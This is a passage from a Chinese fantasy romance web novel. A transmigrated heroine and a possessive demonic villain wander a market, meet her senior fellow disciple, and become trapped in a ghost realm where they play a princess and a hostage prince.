虞想飞快将头发又梳理了一下,总算是弄出个勉强能看的发型,两人这才出门。
街上,各式各样的小贩敞开了声音在叫卖。
“热腾腾的包子咯!”
“卖包子!”
“米糕,米糕!”
“新鲜出炉的米糕!”
虞想摸着咕咕打雷的肚子,走到包子铺,想买上几个包子垫垫。
临到付钱的的时候,她刚要把口袋里仅剩的几粒碎银子递给包子老板,却被一只健硕有力的臂膀阻拦。
雁亭序扔了块银锭子给小贩,“不用找了。”
虞想见他那样大方,将几粒碎银收回口袋,反正有人付钱,不吃白不吃。
她大口咬了口包子,腮帮子被撑的鼓鼓的,像是一只贪吃的小仓鼠。
小贩捧着手中的银锭子,笑得眼睛眯成一条缝,好话不要钱的往外倒,“诶哟,瞧瞧这小郎君和这小夫人,郎才女貌,看着真是登对!”
“小郎君出手阔绰,对自家娘子还真是宠爱的很!”
雁亭序一听这人在夸他,眉头一挑,嘴角不自觉的往上翘,心中暗暗赞许这会说话的小贩。
虞想一听就知道这小贩拍马屁拍错了,她连连摆手,咽下那口大包子,解释道:“不不不,你误会了,我们不是一对。”
小贩听到这话,傻了眼,敢情刚才他还弄错了,这小郎君不会再把钱要回去吧?他连忙揣紧了手中那锭银子。
为了防止闹出更多乌龙,虞想连忙拉着雁亭序往其他地方走去。
雁亭序自听到虞想的解释后脸色就沉了下来,她就这么不想跟他扯上关系?
他冷眼盯着扯住他衣袖的虞想,想到,既然她这么不想同他扯上关系,那他偏不能如她的意!不仅如此,他还要把
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两人的关系紧紧绑在一起。
虞想扯着雁亭序离开后,便松开了他的衣袖,她怕扯久了,这大反派又趁机作妖。
离开那个是非之地,虞想一边走着,一边把那个大包子啃完了。
路尽头,有一家卖糖画的,虞想那会儿就看见了,整个心神都被它牵住,就想去买根尝尝,连一旁雁亭序黑脸都没注意到,她提起裙摆,迈着雀跃的步伐,来到摊位前。
摊位上,糖画样式有很多,个个惟妙惟肖,虞想一时都看花了眼。
她好奇的拨弄着糖画的棍棍,问道:“老板,这糖画怎么卖?”
卖糖画的是位上了年纪的老爷爷,他看了眼眼前的女娃,道:“摊上摆的和现做的都五文,不二价。”
雁亭序看见虞想一副兴致勃勃的样子,舔了舔上牙膛,心中不屑,就是些糖浆,有什么好看的。
老板看着兴致勃勃的虞想,询问道:“姑娘要来两个?”
虞想觑了眼黑脸的雁亭序,刚才还好好的,不知道这人心情什么时候又晴转多云了,为了不触他霉头,保险起见她要了俩。
老板见他俩长得好看,特意仿着两人的样子做了两串糖画。
不一会儿,老板就笑眯眯地将做好的糖画递给两人。
虞想一见这糖画上画的是她的模样,眼睛顿时亮晶晶的,甜蜜的眼睛如同银河里洒满了星子,她伸手想要接过自己那支,却被一双骨节分明的大手抢了先。
雁亭序一手拿过画着虞想模样的那支糖画,在她满怀惊喜与期冀的目光中,一口将糖画的头咬掉了。
吃完,他还嫌弃了一句:“甜的发齁,有什么好吃的?”
虞想看着糖画棍上只剩下半个身子的“虞想”,气的眼泪就冒了出来,气愤之下她已经顾不得先前为了保命对他的小心翼翼,愤愤地将画着雁亭序的那根糖画拿了起来,嘎嘣一声咬掉他的耳朵,转头往别处走去。
雁亭序看了眼手上的糖画,又看看远处愤愤不平的虞想,方才心间那股不满散了去,心情又变得舒畅起来。
他大方的将一块银锭子扔给糖画老板,向远处的虞想追去。
虞想生气的拿着糖画,心中狠狠骂着雁亭序那个狗东西。
怪不得他在原著中人嫌狗憎,净干些这样惹人讨人厌的事,他能有什么好人缘!
虞想越想越气,走路也没有留意四周,一不小心撞上了一个人。
她刚要道歉,抬头一看,心中只想说完蛋。
她今天出门是没看黄历?怎么还能遇上原男主!!!
9. 第 9 章
林疏放被人从身后一撞,回首垂眸看去,发现撞他的竟不是别人,而是多日未见的刁蛮小师妹。
她不应该在长清宗吗?怎么会跑到这里来?
林疏放一手扶住被撞的额头通红、眼泪汪汪的虞想,温声询问道:“小师妹,你怎会在这里?”
虞想捂住被撞的生疼的额头,心道,你这可是个好问题,她现在该如何解释?
一时间,连对雁亭序的行为都好像没有那么气愤了,只剩下她现在该如何把男主糊弄过去。虞想紧张的头脑风暴,再抬头,她故意学着原主的语气,任性道:“因为我听说大师兄在历练,所以我就想来问问大师兄为何下山都不带我?”
这话没毛病,原著中原主这个刁蛮小师妹可是使出十八般武艺来纠缠男主,那情态简直可以用痴迷来形容,她现在编的台词,不过是九牛一毛而已。
林疏放一听她那任性的语气,便想起从前小师妹是何等胡搅蛮缠,心中顿时生出几分厌烦,他压低声音训斥,“简直胡闹!”
“山下有多危险你知不知道,你法术低微,要是出了问题该怎么办。”
林疏放的话虽然听起来话里话外都是关心,可细品之下,还是嫌她麻烦的成分居多,也就原主那个蠢姑娘被这些不值钱的话给骗了去。
虞想在他看不见的地方翻了个白眼,继而故作被教训的伤心,一副哭哭啼啼样,“师兄放心,我定不会给师兄添乱,我这就回去!”
她猛地向前跑去,一下子用肩膀撞开他,手中佯装抹泪,一头扎进拥挤的人潮。不出片刻,她就像一尾归入海洋的游鱼,混迹在人群中,找不到踪迹。
林疏放看着虞想跑开的方向,眼神复杂,欲言又止,半晌,他收回视线,用灵力捏了只传音小鹤,让其他师弟找一下虞想把她安全送回宗门。
话音落,那只小鹤便展翅而起,朝着某个方向飞去。
虞想一口气跑了好远,她回头一看,发现林疏放并没有追上来的痕迹,松了一口气。
她是真的没有半点儿想走原剧情的想法,否则她早就留在长清宗,而不是选择下山逃跑了。
更别提下山后还遇到了大反派雁亭序。
雁亭序顺着他先前留在虞想身上的一缕魔气,穿过拥挤的人潮,在一个卖面具的摊位前找到了她。
日光正盛,打在她一身樱粉色的衣衫上,就像是给她镀了一层金光,让她整个人看起来温柔又恬静,细密的长发显得又黑又亮,衬得露出来的一截颈子纤细莹白,十分诱人。
雁亭序鬼迷心窍地没有喊她,而是悄无声息的走到她的身后,站定,阻隔断那些打量与试图搭讪的视线。
察觉到身后有一片阴影笼罩,虞想拿面具的手一顿,回身看去,发现雁亭序正站在她的身后,脸上没什么表情。
尽管他面无表情,可虞想还是觉得他心情有点不好,她不想究其原因,毕竟她先前被这老狗逼抢糖画的事情还历历在目。
雁亭序见虞想不说话,心气儿顿时有些不顺,他冷哼一声,试图唤起她的注意,可虞想就像是没听到一般,从他旁边绕过,去了隔壁一个卖簪子的摊位。
雁亭序紧跟其后。
来到摊位前,他一眼扫过那些簪子,见是一堆俗物,心中顿时有些不屑。
但看见虞想正端详着一只迎春花簪子,想起她故作视而不见的样子,到底没有说出什么讽刺的话来败她兴致。
不怪虞想对它感兴趣,实在是因为这根雕着迎春花样式的玉簪在这一众簪子中格外显眼,簪子通体青亮,是用上好的的琉璃玉雕刻而成,老板娘把它摆在了最显眼的位置。
雁亭序远远觑着虞想的表情,见她对这支簪子喜爱的很,大手一挥,就要包下。
老板娘为难的看着他,解释道:“公子,不是我不卖给你,实在是这根簪子是我祖传的镇店之宝,不能卖啊。”
雁亭序直接拿出一个钱袋子,往老板娘身上一扔,“可以包起来了吗?”
老板娘拆开一看,满袋子的金锭子,顿时笑逐颜开,“卖卖!这就给公子包起来!”
虞想站在一旁简直目瞪口呆,他袋子里到底装了多少钱,能让老板一下子跟川剧变脸似的,把祖传之宝都卖给他。
虞想咂咂舌,在这个修仙世界,有钱,别说簪子老板,说不定还能让鬼推磨。
雁亭序拿到装好簪子的木盒,看着震惊的虞想,把盒子往她怀里一揣,“买错了,给你。”
这简直是睁眼说瞎话,但雁亭序是不可能会承认这是他买来哄虞想的,浓密的黑发藏住了他通红的耳朵,连带着脖根都染上了热意,他下意识怕她拒绝,不等人回答,便扯着她往镇子外走去。
是夜。一轮皎洁的圆月攀上树梢,今夜夜里无云,浩渺的大地上洒满了洁白的光辉,远处传来一两声野兽的嚎叫,在寂静的夜晚听着格外瘆人。
虞想被雁亭序已经牵着走了好一会了,从他们下午离开镇子,便一直让苍梧在赶路,到这里才停下,改为步行。
她也不知道这神经病白天还好好的,为什么夜里又不睡觉,非得拉着她在荒郊野外“散步”。
两人走了有五百米左右,虞想才察觉到有些不对劲,夜里突然静的出奇,适才还有几声野兽的吼叫传来,现在一点也没有,就连他们的脚步声都好像消失了。
皎洁的月光一瞬间变成了血红色,虞想以为是自己眼花,她揉揉眼,再抬头去看,才发现并不是。
四周不知何时已经换了一副样子,先前那些树木小溪都已消失不见,四周空洞洞的,五米之外便是一团漆黑,天空时不时冒出一道绿光,与那轮红月相映,更显阴森恐怖。
虞想咽咽口水,拽了拽一旁的雁亭序,嗓音有些发紧,“我们这是在哪里啊?”
“鬼蜮。”
“跟紧我,别乱跑。”雁亭序没有多说,牵住虞想,往前走去。
在他俩之后,前来调查线索的林疏放和一位女子并肩而立,紧随其后,进入鬼蜮。
林疏放打量着眼前的景色,严肃道:“进入鬼蜮我们极有可能会掉入域主之梦,在那里,我们会成为梦境的任何一个东西,可能是人,也可能是花、草。”
“梦里危险重重,找到萤火珏我们就离开。”
“好。师兄,你万事要小心!”
“嗯,你也是。”<
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*
“公主,公主,快醒醒!”
“大事不好了!”
虞想感觉有人正在轻轻推搡她,试图把她唤醒。
但她眼皮实在沉重,像是被胶水粘住了一般,挣扎了好久才缓缓睁开双眼。一抬头,便看见旁边有个穿着繁琐宫装的圆脸少女,此刻正哭丧着脸,着急的看着她。
虞想眨眨眼,脑袋有些发懵,她这是又穿了?
不对啊,她不是和雁亭序来到了鬼蜮吗?
怎么一脚踏空后,便来到这里?
见她醒来,圆脸少女立刻跪在床前,向她汇报:“公主,奴婢打听清楚了,质子现在正被关在地牢里,皇后娘娘下旨,要饿他三天三夜,还不许您去看他!”
等等!这信息量有点大,让她先缓缓。
虞想按照顺序捋了捋,从这个宫女的话里,不难发现,她现在的身份是公主,而且还和一个质子有点不清不楚的关系,然后这个皇后娘娘棒打鸳鸯,将那个质子抓到地牢,而她这个身体的主人不知是何原因昏了过去。
所以她过来了。
那她现在到底是又穿了还是在那个鬼蜮里?
虞想一时摸不清,便佯装心上人被抓,一副心碎欲绝的模样,继续向旁边这位小姑娘打听信息。
小姑娘替她家主子操碎了心,在虞想不经意的套话下,全都交代了个清楚。
虞想这才知道,她这个身体的名字叫霜锦,是霜国的公主,旁边这个丫鬟叫芍药,从小一直在她身边侍奉。
那个质子是原身半年前谈的相好。
但由于他俩的恋情被她亲娘发现,所以质子痛打了一顿,公主见到哭昏了头,她这才过来了。
虞想琢磨了一下,身为质子还能被送到敌国随意打骂,看来这个质子很不受宠,待遇应该也不会很好。
在这些宫规森严的地方,不管太监宫女,大都见人下菜碟,弄不好这个质子可能就这样在地牢被弄死了。
思及此,虞想还是决定去地牢看看这个质子,只不过要乔装打扮一下,尽量在那个皇后眼皮子底下蒙混过关。
芍药对自家公主有一种盲目的信任,根本没发现她家公主已经被换了个芯子,连虞想大胆说去地牢看望质子的时候,也没有半点劝阻,反而立刻给她收拾衣物,方便她行动。
*
“开门,我是公主派来看望质子的。”芍药右手径直掐着一枚令牌,冲着地牢门口的两个侍卫,对他们说道。
两侍卫见状,对视一眼,为难道:“芍药姐姐,不是我们不给开,实在是上面吩咐了,不准公主前来探望,你就别为难我们小的了。”
芍药一听,心道果真如此,还好她家公主聪明,早就料到了这种情况会发生,让她把台词背了下来。
芍药清了清嗓子,掐着腰,凶巴巴地说道:“皇后娘娘只说不准公主前来,没说不准公主的丫鬟来。你们不让我进,难道是想得罪公主吗?”
这一番威胁下来,足以让两侍卫吓出一身冷汗,连连道:“不敢不敢,芍药姑娘请进。”
扮作侍女的虞想端着食盒,跟在芍药后面,成功蒙混过关。
10. 第 10 章
地牢内。
虞想推开冰冷厚重的牢门,一股霉味扑鼻而来,冲人的很。她以袖掩鼻,抬头看去,地上是一堆散乱的杂草,皱皱巴巴的满是脏污,不知多久没有换过,墙角边躺着个浑身衣衫破碎的少年,蜷着身子,背对着她。
虞想刚走进地牢,就被里面的阴冷冻得一个哆嗦,碎裂的墙缝中刮着小风,打着转往人身上刮,传来一阵刺骨的凉意,潮湿寒冷充斥着这个狭小的空间。
地上躺着的那个人仿佛死掉了一般,躺在地上没有任何动静。
虞想将食盒放到地上,俯下身子,双手用力掰着他的胳膊,才将人转过身来,斜靠在墙角,凌乱的发丝铺满少年的脸,挡住了他的样貌。
芍药走到跟前,帮她清理出个干净的地方,避免虞想的裙摆沾上些脏污,随后走到牢门前给她放哨。
虞想撩起半边裙摆,缓缓蹲下,拿出个干净的手帕,轻轻拂开少年脸上的发丝。
那人的脸露出来时,虞想不由得倒吸一口凉气。
不为其他,只因那人有一张和雁亭序一模一样的脸。
看到这张脸,虞想就知道她应该还是在鬼蜮,而不是又穿了。
地上的雁亭序仿佛有苏醒的迹象。鸦羽般的长睫轻轻颤抖,手指无意识蜷缩几下,缓缓睁开双眼,霎时,一股危险感犹如刀剑刺背,令虞想寒毛卓竖,不容忽视。
雁亭序黑漆漆如同黑曜石一般的眼珠环顾一圈,发现身边是虞想后,那股警惕才慢慢卸去。
虞想见他醒来,心中那块大石头终于落地,幸好她来地牢看了眼,否则要是阴差阳错的让雁亭序在这里被弄死了,她怕是要一直留在这个鬼蜮,一辈子都不能出去。
“不是叫你跟紧我,别乱跑吗?”雁亭序一开口,才发现嗓子沙哑的很,像是好几天没有进水一样,身体后知后觉传来一阵熟悉的疼痛,这种浑身骨头要被打碎的感觉自他修炼后已经很久没有体会到了。
“我没有乱跑,谁知道突然一脚踏空了。”面对雁亭序的质问,虞想低下头,小声辩驳。
回想起当时的场景,她真的觉得不是她的错,她与雁亭序一道往前走着,谁知她突然就像踩空了一样,直直往无际的虚空坠落,雁亭序为了救她,也跟着一起掉了下来。
“走路都能走错,笨死算了。”一句话足以让虞想先前的小愧疚消失殆尽,这个狗东西,说话还得带上人身攻击,真是狗嘴里吐不出象牙。
这时,门口两个侍卫来到牢门前,对着芍药说道:“芍药姐姐,你看,这探望的时间也到了,要不让小的将牢门关上?”
芍药瞥了眼自己公主好像还有很多话没说,立马打着圆场同侍卫攀谈起来,为她多争取一点时间。
虞想怕被人发现,只来得及伏到雁亭序耳边匆匆交代了一下他俩现在的处境,便被侍卫送走了。
虞想和芍药一走,刚才还笑得一脸谄媚的两侍卫顿时换了一副模样。
真没想到他们堂堂霜国公主,竟然对一名连狗都不如的质子倍加关注,还特意派身边的大宫女来送衣服和吃食。
他俩目若无人的走进地牢,将食盒拎到一旁,自顾自掀开,吃着里面上好的佳肴,还不忘对里面的人一番讽刺挖苦,“真以为你攀上公主就高枕无忧了,也不撒泡尿照照你自己,低贱的连贵人们养的狗都比不上,还想娶公主,做梦吧你!”
雁亭序本斜靠在墙角,闭目养神,谁知道这两个不要命的竟主动舞到了他的面前,他掀开眼皮,如同看两个死人一般,冷冷吐出个字:“滚!”
俩侍卫被他强大的气势震慑,顿时像被死神扼住喉咙一般,被钉在原地,连方才口中十分可口的佳肴都忘记吞咽,后背不知何时已经冒出一层冷汗,被地牢的风一吹,同衣裳粘在一起,冰冷黏腻。
俩人一时也不知先前被关在这里的人,怎么突然换了一副模样,就像是从血海尸山杀出来,看他们这种人如同蝼蚁一般,他俩忙不迭的放下手中的吃食,腿打着摆子,哆嗦着从地牢出去。
直到牢门再次关上,两人脸上的惊恐才稍稍缓解。
虞想从地牢出来后,便回到原主所在的锦绣殿一番更衣沐浴。
芍药贴心的在一旁服侍,适时给浴桶内扔上花瓣,添上热水,还主动提议要帮虞想涂抹香膏。
虞想见此,以自己长大了要独立洗澡的理由坚定的拒绝了她。
要知道,她为了不让芍药发现异常,纵容她洗澡在一旁已经是做出退让,再让一个陌生人帮她洗澡,她觉得她真的接受不了。
好在芍药对虞想这个理由很是信服,只是默默伤心公主长大了,都不让她在身边服侍了。
虞想沐浴完,换上一身轻便的衣裳,窝在床上,思索着出路。
*
第三天,雁亭序便从地牢里被放出来了,门口接引他的是一个瘦骨嶙峋的小太监,见到他,唯唯诺诺的喊了声“殿下”,便连忙来扶住他。
雁亭序拂开他的手,冷声道:“前面带路。”
小太监连忙在前面走着,走几步还不忘回身看一眼他,就怕他没跟上。
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雁亭序跟着他走了许久,最后停留在一间位置偏远的宫殿。殿门上的宫漆早已掉的七七八八,门栓也早已破破烂烂,生了一堆铁锈,像是很久没人住过。
果不其然,进入大殿中,除却中间收拾出的一条小道,四周全是杂草,房间里倒是挺干净,就是比较破旧,最里面就一张小床,上面有层薄被,中间一张四角木桌,桌角还是靠垫着本书才能保持平衡。
雁亭序毫不在意的去一旁的衣柜中扒拉出一套干净的衣裳换上,倒头就睡。
这副身体实在是太弱了,营养不良还到处是伤,不好好休息他根本没力气做别的。
一觉醒来,天色已经昏暗,小太监提着食盒,往桌上一放,拿出两碗稀米粥和一些剩菜,摆好,对雁亭序说道:“主子,该用膳了。”
雁亭序走到桌前,大刀阔斧的坐到瘸腿的那方长凳上,丝毫不在意身体被大动作撤出的疼痛,面不改色的开始吃饭,并且对桌上的饭菜丝毫没有半点嫌弃。
毕竟以前他跟野狗抢饭吃的时候,抢的那点东西还不如这些。
那会被狗咬的鲜血淋漓,肉都被扯下来,晃晃悠悠挂在胳膊上,才能从野狗嘴里抢下一点吃的,这些剩菜剩饭更是见也见不到的东西,大户人家往外扔剩饭,不论是乞丐还是狗全都蜂拥而上,抢着地上那点东西。
要是抢不到,便只有挨饿的份,挨饿就会让身体会变得更虚弱,更没有力气同他们抢,最后只能活活饿死,被野狗分食。
这些记忆都太过久远,但雁亭序是无论如何也不会忘记,尽管当初乞丐和野狗都已经被他杀掉,可这份屈辱的记忆总是在午夜梦回纠缠着他,告诉他,他就是一个从烂泥里出来的不人不魔的东西。
雁亭序将这些饭菜一扫而空,给那位小太监留了一碗米粥。
倒不是他有善心,毕竟善心这种东西,他早在娘胎里就丢掉了,这种东西要有,也是虞想大善人身上有,别人受点苦就觉得可怜,她就热心肠地去帮忙,跟个济世的小神仙似的。
要不是在这个鬼蜮里他的魔气受到压制,苍梧也被留在外面,他是不必留下这个跑腿的。
雁亭序在这间小破房间休息了三日,身上的伤口才结痂,伤一有点起色,他便迫不及待的想去见虞想。
雁亭序回想着当初虞想跟他说的话,对着门口的小太监吩咐道:“给我带路,我要去找虞——”
“公主。”
小太监一听,顿时有些瑟瑟发抖,毕竟这位殿下可是被皇后娘娘勒令,不准再见公主殿下。
11. 第 11 章
雁亭序一看他支支吾吾,一副欲言又止的样子,一把抓住他的前襟,将人扯到他脸前,力气之大让人根本看不出来他前几日还是个重伤之人。
“快点!”
小太监见他一脸凶神恶煞,瞬间面色惨白,吓的就快要哭出来,他抖着嗓子同雁亭序解释:“殿下,不是奴不让您去,而是皇后娘娘下旨,不准您再去见公主殿下。”
雁亭序闻言,狭长的丹凤眼微眯,将人放下,冷冷道:“我不管什么皇后不皇后的,现在就带我去见她。”
小太监简直要被他这一番石破天惊的言语吓昏过去,以前这位殿下虽然乖戾,但也没这样,自打从地牢里出来,就跟换了个人似的,现在连皇后娘娘都不放在眼里。
他不敢忤逆雁亭序,哭丧着脸,老实的在前方带路。
*
“公主,公主,魏殿下来了!”
芍药小跑进虞想的内殿,压低声音,兴奋的给虞想报信。
“魏殿下?谁?”虞想拿着茶杯的手一顿,语气有些疑惑。
“就是您的情郎,魏质子,魏殿下啊。公主最近怎么老问一些奇奇怪怪的问题来打趣芍药。”芍药撅着个嘴,在一旁说道。
“还不是你这个小丫头好玩,禁不住逗逗你嘛?”虞想拍拍芍药的手,笑嘻嘻的同芍药插科打诨,实际内心慌得一批,还好这小丫头神经大条,否则她第二天就要被发现,当成妖怪给杀了。
她不想再深聊下去暴露自己,连忙转移话题,“快带我去见他!”
“我说殿下,您好歹也是一国公主,怎么着也得矜持点吧!”
“哪有女孩子这样上赶着去见情郎的。”芍药嘴上这样嘟囔着,却实诚的先跑到前面将洒扫的宫女支开,给虞想引路。
锦绣殿后殿。
雁亭序已经在这个小门外等了足足有半个时辰,神情逐渐不耐,他厌烦地一脚踢上后墙,转身对一旁的小太监逼问道:“你不是说通传了?那她现在怎么还没来?”
“是不是你撒谎了?”
小太监快把头缩进脖子里了,跪在地上同雁亭序喊冤,“殿下,奴刚才真的跟公主身边的大宫女芍药说了,您再等一会,公主殿下马上就来了。”
雁亭序不是一个有耐心的人,他肯为虞想等这么长时间,就是因为她临走时叮嘱他不要轻举妄动,惹得这里面的人怀疑,但现在他等不了了。
她要是再不出来,他就从这里闯进去,谁来挡他,杀掉便是了,他才不会有她那么多顾虑。
就在雁亭序耐心即将告罄的时候,小门处突然闯进一道明黄色的身影,那身影如同刺破雾霭的一道暖阳,让他体内的躁动瞬间平复下来。
虞想小心的从门内探出一个头来,青葱如玉的指尖扒住灰褐色的门扉,唇瓣抿的紧紧的,一双小鹿眼左顾右盼,像是一只从洞里出来觅食的小兔子,先狗狗祟祟观察一下外面有无危险,再决定要不要出去。
雁亭序见人出来,大踏步上前,虞想只感到头上有一片阴影笼罩,紧接着就像是拔萝卜一样被人从门内拔出来,她抬头,见到是雁亭序便哎哟哎哟的叫唤,让他轻点。
这老狗逼,芍药今天才给她做的新头发,都要给她扯乱了!
雁亭序听到她的话,当真放轻了几分力道,将人扯到怀里,左手揽着虞想纤细的腰身,右手虎口掐着她的下巴往上抬,“没哭?”
虞想先是被他这发问弄得一愣,后知后觉他是问她这段日子有没有哭,她旋即想到自己在他面前一直都是胆小柔弱的人设,小脸一皱,立马委委屈屈地开始做样子,“哭了。”
“在这里还要担心被发现,当成妖怪给灭了。”
“行了,瞧把你给委屈的。”雁亭序嘴上不饶人,在虞想看不见的地方却悄然牵起唇角,对虞想跟他诉苦的样子很是受用。
虞想絮絮叨叨小声吐槽了很久,发现雁亭序今日格外安静,她偏头看去,这才注意到两人挨得很近,她现在属于是被雁亭序半抱在怀里。
说话就说话,靠那么近干嘛!
她轻巧的从雁亭序怀里挣脱,先他一步往锦绣殿走去。
雁亭序见她离开,三步并作两步赶上她,自然而然将人牵住,就像是他们初来鬼蜮的那一晚一样。虞想挣脱不得,便任由他牵着了。
穿过回环曲折的小花园,绕过洒扫外殿的宫人们,虞想这才偷偷摸摸带雁亭序来到锦绣殿内。
她以拜托芍药把风为由,将人打发出去,丝毫没有注意到芍药转身时候那欲言又止的神情,雁亭序倒是看见了,还特意送了她一记眼刀,将人吓的缩着脖子跑出去。
虞想关掉门窗,来到桌前,给雁亭序和她自己倒了一杯茶,她将茶杯推到对面,捧着自己那杯,问道:“雁亭序,我们什么时候能从这里出去?”
雁亭序原本正支着个二郎腿,见虞想把茶递来,他下意识接过,将茶一饮而尽,末后还舔了舔舌尖,有些苦,他不喜欢,下次让人做个甜的。
一杯茶喝完他才跟虞想说:“找到东西我们就走。”
东西,找什么东西?大反派不会给自己开拓副业,又整了个剧情线吧?
虞想不知道他打的什么主意,但眼下出不去,也只能同他待在这里。而且根据她对他实力的了解,他说能走就肯定能出去,雁亭序在她这里,别的没有,实力还是有的。
虞想放下心来,心情都变得好了起来。她坐在那里小口喝茶,任由雁亭序好奇的摆弄梳妆台上的那些首饰,还时不时将从芍药那打听的消息告诉他。
就在这时,门外突然出传来芍药的一声轻咳,她压低声音向里面通传:“公主,闻世子来了。”
雁亭序闻言,看了虞想一眼,问道:“闻世子?这谁?”
虞想摇摇头,澄澈的鹿眼看他,表情有些无辜,似是也疑惑这个突如其来的人究竟是谁,“我也不知,等我去看看。”
她起身往门口处走去,行走间还好心的提醒他一句,“对了,你还是抓紧离开这里吧,要是被皇后娘娘发现‘咱俩’见面,肯定又生事端。”
提醒完,她还没来得及身后人是何神情,便被芍药带去了偏殿。
殿内无人,雁亭序觉得一个人呆在这没什么意思,正打算原路返回,却冷不丁瞧见一道白色的身影往偏殿方向来。
殿外锦簇的花团遮挡住他的面容,雁亭序却莫名觉得这人有些熟悉,往锦绣殿后门的脚步一顿,转向另一个方向。
*
“公主殿下,皇后娘娘派臣前来看望,不知公主近来身体如何?”屏风外一名白衣男子虽作弯腰作揖状,背却挺直,如悬崖边挺拔的松柏,不肯低下骄傲的头颅。
虞想再次听到这熟悉的男主声音,只想两眼一翻晕倒过去,怎么在这里也能遇到男主,她究竟是有多倒霉啊!
但眼下晕是不可能晕的,虞想轻轻在芍药耳边叮嘱几句,芍药便默默退下带着门外的宫人一道离开。
虞想见人都走了,这才慢吞吞的从屏风内走出,她已经料到男主接下来该是什么样的脸色了。
果不其然,虞想刚走出半个身子,作揖的林疏放便收回手势,缓缓抬头,见到是她后,瞳孔里闪过一瞬间的震惊,“师妹?你不是回长清
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宗了吗?”
“事情是这样的大师兄……”虞想下意识想要开口解释,却忘记了要维持原主人设。放做以前,发生这种事,原主那个刁蛮任性的性格是从来不屑于去解释的,她只会无理取闹来让别人迁就她。
可刚才虞想一时情急,已然把解释的话说出口,虽然不知道林疏放对她编造的理由信不信,但她这做法与态度却与以前大不相同。
林疏放带着探究的目光扫视她的脸,见她语气真挚,眼神澄澈,不似作假。
听完她的话,他沉默一会,尔后,复又盘问道:“所以师妹实是在回长清宗的路上不小心被妖怪抓走,又不小心掉进了这里?”
虞想点点头,一一应是。
林疏放拿不准这究竟是不是小师妹的新把戏,几番思虑,终究还是决定信她一次,对她叮嘱道:“师妹,在这鬼蜮你万万不可像从前一样胡闹,这里瞬息万变、危险重重。”
“碍于这里的身份,我不可能每时每刻都会顾虑到你,你要小心行事。”
“师兄你放心,我知道。”
殊不知,就在两人攀谈之际,去而复返的人一眼就看到了里面的光景。
郎才女貌,才子佳人,站在一起正情意绵绵互诉衷肠!
没错,虞想小心躲避林疏放的视线在他眼里就是因为害羞,才不敢直视。
雁亭序顿时感觉一股火气自胸口涌起,怒气随着他剧烈的喘息游遍四肢百骸,他双手紧握成拳,咬紧牙关,双眼通红的看着里面的两人,仿佛下一秒就要进去将里面的男人杀掉。
芍药看被眼前雁亭序凶狠气急的样子吓了一跳,连忙跑到他身侧,压低声音阻拦道:“殿下,殿下,您不能进去!”
雁亭序看着这个陌生又带着熟悉的青年,怒火要将头脑中那根弦烧掉。
呵,上一世,就是这个男人让虞想离开,让她不辞而别。
雁亭序还记得那是一个冰雪消融的日子,地上的积雪折射着阳光,每一粒雪都像是一颗小星子,熠熠生辉。积雪融化,万籁俱寂,他拨弄着虞想留下的夜明珠,偶尔抬头看着看外面的雪景,任由时间流逝,等待着她来投喂,再呲牙吓唬她一番,不让她摸他的毛。
那些日子他都已经习惯她傍晚时分来,给他带着热腾腾的食物,絮絮叨叨同他说着每日发生的琐事。
但是那一天,他从晨光熹微等到残阳落幕,再到月上中天,她都没有来。
他原本以为她是那日有事耽搁了,毕竟以前也有这样的事情发生,可第二天、第三天她都没有来。
她留在这里的气味也越来越淡,接近于无。
雁亭序这才意识到她走了,走的悄无声息。
她就将他抛弃在那里。
救了他,又将他扔下。
他拖着骨头还未愈合的右腿,循着空气中她残存的气息来到一片空地,那空地四周还有生火做饭的痕迹,他们确实在这里生活过。
他现在魔气不足,只能以血为引,画出一个回影符。透过回影符,他看到了虞想离开那日的景象。
画面中,林疏放皱着眉头对虞想说:“师妹,你不要无理取闹,师门那边需要我们即刻出发,不容耽误。”
虞想要留下的一番话堵在喉间。她没有辩驳,默默回到房间收拾着自己的行李,跟他们坐飞船一道离开。
从始至终,都没有提他一句。
雁亭序便是从那刻起开始恨她。
恨她不辞而别!恨她……救人不能救到底!
他回过神来时,发现偏殿内只剩虞想一人,林疏放不知何时早已离去。
12. 第 12 章
他拂开畏畏缩缩拦住他的芍药,大踏步走到虞想身前,一把攥起她白皙纤细的手腕。
虞想先是被他冷不丁的出现吓了一跳,手腕被捏得生疼让她眼睛生理性冒出泪花,她皱着眉头看向身侧这个去而复返的人,嗓音发软也发抖,“雁亭序,你干嘛?你弄疼我了。”
这神经病,刚才不是还好好的,现在这是搞哪出?
雁亭序弯下腰,极具侵略与压迫的气息将虞想笼罩,仍带着回忆中的情绪的他恨声质问:“刚才你跟他在干什么?”
虞想被他问的莫名其妙,她跟男主?他们能做什么?
眼下见雁亭序一副气急的样子,她也不想再将人惹怒,只能同他解释,“他是我师兄,就问了我一下为什么会在鬼蜮。”
她说完,试图将手腕从雁亭序手中抽出,大掌如同一把坚固的铁锁,让她挣脱不得。
“就这些?”
“就这些。”
听到虞想肯定的回答,雁亭序才觉得心间那股怒火消退了些,他将人放开,对她威胁道:“以后少跟他来往,听到没有?”
“为什么?”虞想揉揉通红发烫的手腕,有些不解,他怎么还关心起她跟男主的关系了。
“没有为什么,我不喜欢。”
虽说她也不喜欢同男主打交道,但雁亭序这一副我不喜欢,你就不能同别人交往的霸道样子,让人看着可真是不爽,臭毛病!
这狗东西,莫名其妙发疯!前几日他表现的那么正常,让她差点忘了他还是个潜在的神经病。
她小声在心底将雁亭序臭骂一顿。
雁亭序见她没有答应,再次逼问道:“听到了没有?”
“听到了,听到了。”
虞想颇为气愤的捂住耳朵,她听到了,她又不是聋子。
雁亭序看她应下,这才感觉心间那股郁气消散,他看了眼虞想露出的半截如嫩玉般的手腕,通红的指痕压在上面,让人看着那么刺眼。
他抿抿唇,心里闪过片刻的懊恼。可偏偏他又是个魔,不会人修那些修复术法。
虞想被他这一顿莫名其妙的发疯弄的有些气,不太想搭理他,跑到里间同芍药玩翻花绳,留雁亭序一人在侧殿站着。
夜幕低垂,虞想玩了一下午花绳眼睛有些累,她揉揉酸涩的眼眶,唤芍药去传膳。
因着白日遇到男主,反派还又发疯这些糟心事,她兴致不高,草草的扒了几口饭便洗漱上床。
虞想让芍药把灯灭了,她一个人躺在床上,思索着以后该如何是好。
也不知是不是她的错觉,尽管她已经从穿过来就避免走原著剧情,但总是意外遇到男主。而且反派近来对她的态度更是奇怪,唯一可以确定的是大反派暂时对她没有杀意。
这姑且算是件好事。
在这个修真界她不会法术就是个手无缚鸡之力的弱女子,随便来个小boss就把她灭掉了。目前跟在大反派身边她的生命还算有保障。
除了他脾气有点狗,其他的倒是也挺好。
